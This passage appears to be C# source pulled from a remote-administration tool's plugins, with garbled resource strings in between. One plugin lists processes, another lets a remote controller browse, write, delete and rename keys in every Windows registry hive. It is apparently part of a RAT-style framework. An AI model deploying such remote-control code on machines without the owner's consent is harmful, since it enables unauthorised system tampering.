int childCount = children != null ? children.Count : 0;
bw.Write(childCount);
if (children != null) { foreach (ProcInfo child in children) SerializeNode(bw, child, childrenMap); }
}
private Dictionary<int, int> GetParentMap()
{
Dictionary<int, int> map = new Dictionary<int, int>();
IntPtr snap = CreateToolhelp32Snapshot(2, 0);
if (snap.ToInt64() == -1) return map;
try
{
PROCESSENTRY32 entry = new PROCESSENTRY32();
entry.dwSize = (uint)Marshal.SizeOf(typeof(PROCESSENTRY32));
if (Process32First(snap, ref entry))
{
do { map[(int)entry.th32ProcessID] = (int)entry.th32ParentProcessID; } while (Process32Next(snap, ref entry));
}
}
finally { CloseHandle(snap); }
return map;
}
private Dictionary<int, string> GetProcessFilePaths()
{
Dictionary<int, string> paths = new Dictionary<int, string>();
ManagementObjectSearcher searcher = null;
ManagementObjectCollection objects = null;
try
{
searcher = new ManagementObjectSearcher("SELECT Description, ProcessId, ExecutablePath, CommandLine FROM Win32_Process");
objects = searcher.Get();
foreach (ManagementObject obj in objects)
{
try
{
int pid = Convert.ToInt32(obj["ProcessId"]);
string filename = (obj["Description"] ?? "").ToString();
string filePath = (obj["ExecutablePath"] ?? "").ToString();
if (string.IsNullOrEmpty(filePath)) { string cmdLine = (obj["CommandLine"] ?? "").ToString(); filePath = ExtractPathFromCmd(cmdLine); }
if (string.IsNullOrEmpty(filePath)) { if (windowsProcessPaths.ContainsKey(filename)) filePath = windowsProcessPaths[filename]; }
paths[pid] = filePath ?? "";
}
catch { }
finally { obj.Dispose(); }
}
}
catch { }
finally { if (objects != null) objects.Dispose(); if (searcher != null) searcher.Dispose(); }
return paths;
}
private string ExtractPathFromCmd(string commandLine)
{
if (string.IsNullOrEmpty(commandLine)) return "";
string[] tokens = commandLine.Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries);
foreach (string token in tokens)
{
string clean = token.Trim('"');
if (clean.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) || clean.EndsWith(".dll", StringComparison.OrdinalIgnoreCase)) return clean;
}
return "";
}
private async Task SendAck(string message)
{
byte[] mb = Encoding.UTF8.GetBytes(message);
byte[] msg = new byte[mb.Length + 1];
msg[0] = 0xFE;
Buffer.BlockCopy(mb, 0, msg, 1, mb.Length);
await _send(msg);
}
private async Task SendStatus(byte code, string message)
{
byte[] mb = Encoding.UTF8.GetBytes(message);
byte[] msg = new byte[mb.Length + 1];
msg[0] = code;
Buffer.BlockCopy(mb, 0, msg, 1, mb.Length);
try { await _send(msg); } catch { }
}
private class ProcInfo
{
public int PID;
public string Name;
public string FilePath;
public string Description;
public long MemoryBytes;
public int ParentPID;
}
}
}
ó'Refreshø# Pause''#Kill Treež"
ExpandŸ"Collapse0 processes
ÝPROCESS NAME
MEMORYDESCRIPTION/Waiting for connection& HeaderRowExpanderIsExpandedPART_Header
HeaderChildrenBorderItemsHost Arrow¸%¾% btnBd
btnLblKill SelectedDel'Kill Selected TreesShift+Del%Select All Visible
Ctrl+AClear Selection
EscapeCopy PID(s)
Ctrl+CCopy Path(s)Ctrl+Shift+C selected
ResumeCopied ) PID(s) to clipboard
+ path(s) to clipboard processesUpdated  processes ·  root(s)svchostservice
chromefirefox edgebrowser opera braveßexplorer=ØÂÜcmdpowershellterminal bashconhostwt
system csrss smss lsasswininitwinlogon
devenv code rider idea
studiodiscord teams slack zoom skype=جÜspotify musicvlcwmplayer steam game epic<Ø®ß
nvidiaamd intel=Ø¥Ýdwm>ØŸÞ
searchcortana
MemoryDescriptionChildren direct, _Cascadia Mono, Consolas, Courier New, monospace7Segoe UI, Arial, sans-serif
REG_SZREG_EXPAND_SZREG_DWORDREG_QWORDREG_BINARYREG_MULTI_SZ=ØÝÜ=Ø"Ý=ؾÜ=ØËÜregeditRegistry EditoruRemote Windows Registry browser with key/value management.À´E
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Microsoft.Win32;
namespace ClientPlugin_regedit
{
public class RegValue
{
public string KeyName { get; set; }
public string FullPath { get; set; }
public string Type { get; set; }
public object Value { get; set; }
}
public class RegInfo
{
public bool ContainsSubKeys { get; set; }
public string[] SubKeys { get; set; }
public string FullPath { get; set; }
public List<RegValue> Values = new List<RegValue>();
}
public class Main
{
private Func<byte[], Task> _send;
private CancellationTokenSource _cts = new CancellationTokenSource();
private static readonly Dictionary<string, byte> TypeIdentifierMap = new Dictionary<string, byte>
{
{ "REG_SZ", 1 },
{ "REG_EXPAND_SZ", 2 },
{ "REG_BINARY", 3 },
{ "REG_DWORD", 4 },
{ "REG_MULTI_SZ", 5 },
{ "REG_QWORD", 6 },
{ "Unknown", 7 }
};
public async Task Run(Func<byte[], Task> sendData, Func<Task<byte[]>> receiveData)
{
_send = sendData;
try
{
// Send ready signal
await _send(new byte[] { 0xAA });
while (!_cts.IsCancellationRequested)
{
byte[] data = await receiveData();
if (data == null || data.Length == 0) break;
byte cmd = data[0];
byte[] payload = new byte[data.Length - 1];
if (payload.Length > 0)
Buffer.BlockCopy(data, 1, payload, 0, payload.Length);
Exception caught = null;
try
{
switch (cmd)
{
case 0x01: // Browse key
await HandleBrowseKey(Encoding.UTF8.GetString(payload));
break;
case 0x02: // Delete subkey
await HandleDeleteSubkey(Encoding.UTF8.GetString(payload));
break;
case 0x03: // Delete value
await HandleDeleteValue(payload);
break;
case 0x04: // Create subkey
await HandleCreateSubkey(Encoding.UTF8.GetString(payload));
break;
case 0x05: // Set value
await HandleSetValue(payload);
break;
case 0x06: // Rename subkey
await HandleRenameSubkey(payload);
break;
case 0x07: // List root hives
await HandleListRoots();
break;
}
}
catch (Exception ex)
{
caught = ex;
}
if (caught != null)
{
await SendError(cmd, caught.Message);
}
}
}
catch { }
}
private static RegistryHive? GetRootHive(string keyPath)
{
string[] parts = keyPath.Split('\\');
if (parts.Length == 0) return null;
string first = parts[0].ToUpper();
if (first.StartsWith("HKLM") || first.StartsWith("HKEY_LOCAL_MACHINE"))
return RegistryHive.LocalMachine;
if (first.StartsWith("HKCU") || first.StartsWith("HKEY_CURRENT_USER"))
return RegistryHive.CurrentUser;
if (first.StartsWith("HKCR") || first.StartsWith("HKEY_CLASSES_ROOT"))
return RegistryHive.ClassesRoot;
if (first.StartsWith("HKU") || first.StartsWith("HKEY_USERS"))
return RegistryHive.Users;
if (first.StartsWith("HKCC") || first.StartsWith("HKEY_CURRENT_CONFIG"))
return RegistryHive.CurrentConfig;
return null;
}
private static string GetSubPath(string keyPath)
{
int idx = keyPath.IndexOf('\\');
return idx >= 0 ? keyPath.Substring(idx + 1) : "";
}
private static RegInfo GetRegInfo(string path)
{
RegistryHive? hive = GetRootHive(path);
if (hive == null) return null;
string subPath = GetSubPath(path);
using (RegistryKey baseKey = RegistryKey.OpenBaseKey((RegistryHive)hive, RegistryView.Registry64))
{
using (RegistryKey key = string.IsNullOrEmpty(subPath) ? baseKey : baseKey.OpenSubKey(subPath))
{
if (key == null) return null;
RegInfo info = new RegInfo();
info.FullPath = path;
info.ContainsSubKeys = key.SubKeyCount > 0;
info.SubKeys = key.GetSubKeyNames();
foreach (string valueName in key.GetValueNames())
{
RegValue val = new RegValue();
val.KeyName = valueName;
val.FullPath = path + "\\" + valueName;
string type = "Unknown";
switch (key.GetValueKind(valueName))
{
case RegistryValueKind.String: type = "REG_SZ"; break;
case RegistryValueKind.ExpandString: type = "REG_EXPAND_SZ"; break;
case RegistryValueKind.Binary: type = "REG_BINARY"; break;
case RegistryValueKind.DWord: type = "REG_DWORD"; break;
case RegistryValueKind.MultiString: type = "REG_MULTI_SZ"; break;
case RegistryValueKind.QWord: type = "REG_QWORD"; break;
}
val.Type = type;
val.Value = key.GetValue(valueName);
info.Values.Add(val);
}
return info;
}
}
}
private static byte[] SerializeRegInfo(RegInfo regInfo)
{
using (MemoryStream ms = new MemoryStream())
using (BinaryWriter w = new BinaryWriter(ms))
{
w.Write(regInfo.ContainsSubKeys);
w.Write(regInfo.SubKeys.Length);
foreach (string subKey in regInfo.SubKeys)
{
w.Write(subKey);
}
w.Write(regInfo.FullPath);
w.Write(regInfo.Values.Count);
foreach (RegValue value in regInfo.Values)
{
w.Write(value.KeyName);
w.Write(value.FullPath);
w.Write(TypeIdentifierMap[value.Type]);
if (value.Value is string)
{
w.Write((byte)TypeIdentifierMap["REG_SZ"]);
w.Write((string)value.Value);
}
else if (value.Value is int)
{
w.Write((byte)TypeIdentifierMap["REG_DWORD"]);
w.Write((int)value.Value);
}
else if (value.Value is long)
{
w.Write((byte)TypeIdentifierMap["REG_QWORD"]);
w.Write((long)value.Value);
}
else if (value.Value is byte[])
{
w.Write((byte)TypeIdentifierMap["REG_BINARY"]);
byte[] byteArray = (byte[])value.Value;
w.Write(byteArray.Length);
w.Write(byteArray);
}
else if (value.Value is string[])
{
w.Write((byte)TypeIdentifierMap["REG_MULTI_SZ"]);
string[] stringArray = (string[])value.Value;
w.Write(stringArray.Length);
foreach (string str in stringArray)
{
w.Write(str);
}
}
else
{
w.Write((byte)TypeIdentifierMap["Unknown"]);
}
}
return ms.ToArray();
}
}
private async Task HandleBrowseKey(string path)
{
if (string.IsNullOrEmpty(path))
{
await HandleListRoots();
return;
}
RegInfo info = GetRegInfo(path);
if (info != null)
{
byte[] serialized = SerializeRegInfo(info);
byte[] msg = new byte[serialized.Length + 1];
msg[0] = 0x01;
Buffer.BlockCopy(serialized, 0, msg, 1, serialized.Length);
await _send(msg);
}
else
{
await SendError(0x01, "Key not found: " + path);
}
}
private async Task HandleListRoots()
{
string[] roots = new string[]
{
"HKEY_LOCAL_MACHINE",
"HKEY_CURRENT_USER",
"HKEY_CLASSES_ROOT",
"HKEY_USERS",
"HKEY_CURRENT_CONFIG"
};
string result = string.Join("\n", roots);
byte[] resultBytes = Encoding.UTF8.GetBytes(result);
byte[] msg = new byte[resultBytes.Length + 1];
msg[0] = 0x07;
Buffer.BlockCopy(resultBytes, 0, msg, 1, resultBytes.Length);
await _send(msg);
}
private async Task HandleDeleteSubkey(string path)
{
RegistryHive? hive = GetRootHive(path);
if (hive == null)
{
await SendError(0x02, "Invalid registry path");
return;
}
string subPath = GetSubPath(path);
bool success = false;
Exception deleteError = null;
using (RegistryKey baseKey = RegistryKey.OpenBaseKey((RegistryHive)hive, RegistryView.Registry64))
{
try
{
baseKey.DeleteSubKeyTree(subPath);
success = true;
}
catch (Exception ex)
{
deleteError = ex;
}
}
byte[] resultBytes = Encoding.UTF8.GetBytes(success ? "OK|" + path : "FAIL|" + (deleteError != null ? deleteError.Message : "Unknown error"));
byte[] msg = new byte[resultBytes.Length + 1];
msg[0] = 0x02;
Buffer.BlockCopy(resultBytes, 0, msg, 1, resultBytes.Length);
await _send(msg);
}
private async Task HandleDeleteValue(byte[] payload)
{
string text = Encoding.UTF8.GetString(payload);
string[] parts = text.Split(new char[] { '|' }, 2);
if (parts.Length != 2)
{
await SendError(0x03, "Invalid format. Expected: path|valueName");
return;
}
string path = parts[0];
string valueName = parts[1];
RegistryHive? hive = GetRootHive(path);
if (hive == null)
{
await SendError(0x03, "Invalid registry path");
return;
}
string subPath = GetSubPath(path);
bool success = false;
Exception deleteError = null;
using (RegistryKey baseKey = RegistryKey.OpenBaseKey((RegistryHive)hive, RegistryView.Registry64))
{
using (RegistryKey key = baseKey.OpenSubKey(subPath, true))
{
if (key == null)
{
await SendError(0x03, "Key not found: " + path);
return;
}
try
{
key.DeleteValue(valueName);
success = true;
}
catch (Exception ex)
{
deleteError = ex;
}
}
}
byte[] resultBytes = Encoding.UTF8.GetBytes(success ? "OK|" + valueName : "FAIL|" + (deleteError != null ? deleteError.Message : "Unknown error"));
byte[] msg = new byte[resultBytes.Length + 1];
msg[0] = 0x03;
Buffer.BlockCopy(resultBytes, 0, msg, 1, resultBytes.Length);
await _send(msg);
}
private async Task HandleCreateSubkey(string path)
{
RegistryHive? hive = GetRootHive(path);
if (hive == null)
{
await SendError(0x04, "Invalid registry path");
return;
}
string subPath = GetSubPath(path);
bool success = false;
Exception createError = null;
using (RegistryKey baseKey = RegistryKey.OpenBaseKey((RegistryHive)hive, RegistryView.Registry64))
{
try
{
using (RegistryKey created = baseKey.CreateSubKey(subPath))
{
success = created != null;
}
}
catch (Exception ex)
{
createError = ex;
}
}
byte[] resultBytes = Encoding.UTF8.GetBytes(success ? "OK|" + path : "FAIL|" + (createError != null ? createError.Message : "Unknown error"));
byte[] msg = new byte[resultBytes.Length + 1];
msg[0] = 0x04;
Buffer.BlockCopy(resultBytes, 0, msg, 1, resultBytes.Length);
await _send(msg);
}
private async Task HandleSetValue(byte[] payload)
{
if (payload.Length < 5)
{
await SendError(0x05, "Invalid payload");
return;
}
int offset = 0;
byte typeId = payload[offset++];
int pathLen = payload[offset] | (payload[offset + 1] << 8);
offset += 2;
if (payload.Length < offset + pathLen) { await SendError(0x05, "Invalid path length"); return; }
string path = Encoding.UTF8.GetString(payload, offset, pathLen);
offset += pathLen;
if (payload.Length < offset + 2) { await SendError(0x05, "Invalid name length"); return; }
int nameLen = payload[offset] | (payload[offset + 1] << 8);
offset += 2;
if (payload.Length < offset + nameLen) { await SendError(0x05, "Invalid name"); return; }
string valueName = Encoding.UTF8.GetString(payload, offset, nameLen);
offset += nameLen;
RegistryHive? hive = GetRootHive(path);
if (hive == null)
{
await SendError(0x05, "Invalid registry path");
return;
}
string subPath = GetSubPath(path);
bool success = false;
Exception setError = null;
using (RegistryKey baseKey = RegistryKey.OpenBaseKey((RegistryHive)hive, RegistryView.Registry64))
{
using (RegistryKey key = baseKey.OpenSubKey(subPath, true))
{
if (key == null)
{
await SendError(0x05, "Key not found: " + path);
return;
}
try
{
byte[] remaining = new byte[payload.Length - offset];
if (remaining.Length > 0)
Buffer.BlockCopy(payload, offset, remaining, 0, remaining.Length);
switch (typeId)
{
case 1:
key.SetValue(valueName, Encoding.UTF8.GetString(remaining), RegistryValueKind.String);
success = true;
break;
case 2:
key.SetValue(valueName, Encoding.UTF8.GetString(remaining), RegistryValueKind.ExpandString);
success = true;
break;
case 3:
key.SetValue(valueName, remaining, RegistryValueKind.Binary);
success = true;
break;
case 4:
if (remaining.Length >= 4)
{
key.SetValue(valueName, BitConverter.ToInt32(remaining, 0), RegistryValueKind.DWord);
success = true;
}
break;
case 5:
string multiStr = Encoding.UTF8.GetString(remaining);
string[] lines = multiStr.Split(new char[] { '\n' });
key.SetValue(valueName, lines, RegistryValueKind.MultiString);
success = true;
break;
case 6:
if (remaining.Length >= 8)
{
key.SetValue(valueName, BitConverter.ToInt64(remaining, 0), RegistryValueKind.QWord);
success = true;
}
break;
}
}
catch (Exception ex)
{
setError = ex;
}
}
}
byte[] resultBytes = Encoding.UTF8.GetBytes(success ? "OK|" + valueName : "FAIL|" + (setError != null ? setError.Message : "Unsupported type or invalid data"));
byte[] msg = new byte[resultBytes.Length + 1];
msg[0] = 0x05;
Buffer.BlockCopy(resultBytes, 0, msg, 1, resultBytes.Length);
await _send(msg);
}
private async Task HandleRenameSubkey(byte[] payload)
{
string text = Encoding.UTF8.GetString(payload);
string[] parts = text.Split(new char[] { '|' }, 2);
if (parts.Length != 2)
{
await SendError(0x06, "Invalid format. Expected: oldPath|newName");
return;
}
string oldPath = parts[0];
string newName = parts[1];
string parentPath = oldPath;
int lastSlash = oldPath.LastIndexOf('\\');
if (lastSlash >= 0)
parentPath = oldPath.Substring(0, lastSlash);
string newPath = parentPath + "\\" + newName;
RegistryHive? hive = GetRootHive(oldPath);
if (hive == null)
{
await SendError(0x06, "Invalid registry path");